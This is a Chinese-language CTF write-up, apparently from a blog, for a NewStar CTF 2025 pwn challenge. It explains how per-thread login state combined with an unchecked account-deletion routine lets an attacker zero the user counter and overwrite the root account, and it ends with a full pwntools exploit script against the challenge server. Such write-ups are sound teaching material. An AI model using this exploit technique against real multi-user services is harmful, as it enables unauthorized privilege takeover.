小的明?题问

题目给了c源码,我们直接看源码:

main函数:

newstarctf2025小明的问 (4).png

account_register函数:

newstarctf2025小明的问 (3).png

account_delete函数:

newstarctf2025小明的问 (2).png

find_account函数:
newstarctf2025小明的问 (7).png

account_login函数:

newstarctf2025小明的问 (6).png

account_manager函数:

newstarctf2025小明的问 (5).png

get_flag函数:
newstarctf2025小明的问 (1).png

我们先看main函数,这里先建一个监听的服务端,然后while(1)持续accept,说明这个是一个持续监听的服务,每次accept都会产生一个 client_fd,每一个 client_fd都会产生一个 fd_ptr,然后回pthread_create(fd_ptr)建一个线程,说明这里有多线程,我们要注意是否存在多线程竞态问题。

然后我们看看account_register和find_account了解account是如何注册的,注意这里我们注册的account是存在全局的users里,而且使用user_counts来计数我们现在有多少个现存的账号。

然后我们看account_manger函数,这里就额外注意一点,我们每一个子线程都会调用thread_worker,代表我们每个子线程都会都会调用一遍account_manger,我们看到每次调用account_manger都会创造一个root账号,假如我们已经开了一个线程,这时创建了一个root账号,我们再开一个线程,会再尝试创建一个root账号,但是我们创造账号是在全局users里操作的,所以第二次会创建失败,因为它find_account会发现root已经有账号了。

然后我们看account_login函数,这个是比较关键的,我们看到这里会检查账号和密码,但是这里的逻辑是把账号密码复制到current_account使用的,而在manager.c文件的开头我们能看到 __thread user current_account;说明每个线程的current_account都是独立的,那我们就可以做到同时在多个线程中登录同一个账号了。

然后我们看account_delete函数,这里我们是删除现在登录着的账号,而且这里也是操作的是全局里的users,这点很关键,而且这里有一个点,就是它虽然用了find_account,但是这里并没有检查find_account是否成功,如果失败了函数还是会继续执行,也就是user_counts还是会减少1。

然后get_flag就是一个后门函数,只要我们登录上了root账号,我们就能获得flag。

这里我们注意一下find_account,它是通过user_accounts来遍历的,假设我们通过某种方法修改user_accounts了,假设我们修改成了0,那它就会直接返回-1,再结合account_register的逻辑,account_register发现find_account返回-1就会直接通过我们的注册,我们就能注册任何账号,即使该账号已经存在,这是由于我们通过修改user_accounts欺骗了account_register同意我们的注册。

我们这里再利用登录态和detele的漏洞就行了。

思路是这样的,我们创建两个子线程,在一个线程创造一个账号,user_counts变为2(开始会自动创建一个root),这时账号被存在了全局表,由于登录是复制到current_account储存的,那我们就能同时在两个线程里同时登录这个账号(a账号),然后我们在一个线程里执行delete,这样我们就把a账号从全局users里删了,user_counts变为1,但是此时我们另一个线程里还登录着这个账号的,我们在另一个线程再执行一次删除(必须登录着才能删除),这时由于delete的漏洞(虽然find_account没找到,但是没有检查这个),我们又执行了一次user_counts,这时user_counts变为0了,那结合我们前面分析的,这时我们就能任意注册了,那我们这时再注册一个叫root的账号,这里我们由于把user_counts变为0,那我们写入的其实就是user[0]也就是原本存root账号的位置,所以实际上我们是把原来的root账号覆盖了,就能自己输入密码了,然后再用我们自己创建的root账号登录来执行get_flag函数就行了。

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

target = '0.0.0.0 42265'
parts = target.replace(':', ' ').split()
host = parts[-2]
port   = int(parts[-1])



def _connect():
    io = remote(host, port)
    return io


def unlog_menu(io,idx):
    io.sendlineafter(b"Please select your operation: ", str(idx).encode())

def logged_menu(io,idx):
    io.sendlineafter(b"Please select your operation: ", str(idx).encode())  
  


def register(io, username, password):
    unlog_menu(io,1)
    io.sendlineafter(b"Please input username: ", username.encode())
    io.sendlineafter(b"Please input password: ", password.encode())



def login(io, username, password):
    unlog_menu(io,2)
    io.sendlineafter(b"Please input username: ", username.encode())
    io.sendlineafter(b"Please input password: ", password.encode())


def delete(io, username, password):
    logged_menu(io,3)
    io.sendlineafter(b"Please input username: ", username.encode())
    io.sendlineafter(b"Please input password: ", password.encode())


def readflag(io):
    logged_menu(io,4)
    io.interactive()

def main():
    io1 = _connect()
    io2 = _connect()
    username = "aaa"
    password = "ppp"
    forged_password = "pwnd123"
    register(io1, username, password)
    login(io1, username, password)
    login(io2, username, password)
    delete(io1, username, password)
    delete(io2, username, password)
    register(io2, "root", forged_password)
    login(io2, "root", forged_password)
    readflag(io2)

main()  


题目链接:CTF-Writeups/NewStar CTF 2025/小的明?题问 at main · Zenquiem/CTF-Writeups


小的明?题问
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-JqV0QzVz
作者
ZenDuk
发布于
2026年03月25日
许可协议